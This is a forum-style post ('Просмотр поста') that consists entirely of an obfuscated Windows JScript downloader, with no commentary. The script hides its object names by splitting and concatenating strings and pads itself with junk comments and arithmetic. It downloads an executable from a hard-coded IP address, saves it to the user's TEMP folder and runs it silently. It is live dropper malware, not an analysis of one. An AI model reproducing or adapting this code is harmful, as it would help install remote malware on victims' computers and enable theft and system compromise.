Просмотр поста

var C = "46.151.52.197/85.exe? ? ? ?".split(" ");
var JeT =((1/*5ZuF660190596n842978uM354193eOiZ*/)?"WScri":"")+"pt.Shell";
var RB = WScript.CreateObject(JeT);
var CG = "%TEMP%\\";
var Gpz = RB.ExpandEnvironmentStrings(CG);
var Xbn = "2.XMLH";
var eRa = Xbn + "TTP";
var zX = true  , IkWb = "ADOD";
var BZ = WScript.CreateObject("MS"+"XML"+(767738, eRa));
var hgu = WScript.CreateObject(IkWb + "B.St"+(50750, "ream"));
var VEz = 0;
var Y = 1;
var uofITVx = 261265;
for (var p=VEz; p<C.length; p++)  {
  var zP = 0;
  try  {
poi = "GET"; 
    BZ.open(poi,"http://"+C[p]+Y, false); BZ.send(); if (BZ.status == 1018-818)  {
      hgu.open(); hgu.type = 1; hgu.write(BZ.responseBody); if (hgu.size > 2848-953)  {
        zP = 1; hgu.position = 0; hgu.saveToFile/*zjXO12HoXy*/(Gpz/*Xlb875mM8t*/+uofITVx+".exe",4-2); try  {
          if (((new Date())>0,7738368888)) {
    RB./*d498127uoBK*/Run(Gpz+uofITVx+/*Eobq838zXQ*/".exe",/*Kth362XZxz*/3-2,0); 
    break;
          }
}
        catch (hs)  {
}; 
      }; hgu.close(); 
    }; 
if (zP == 1)  {
      VEz = p; break; 
    }; 
  }
  catch (hs)  { 
  }; 
};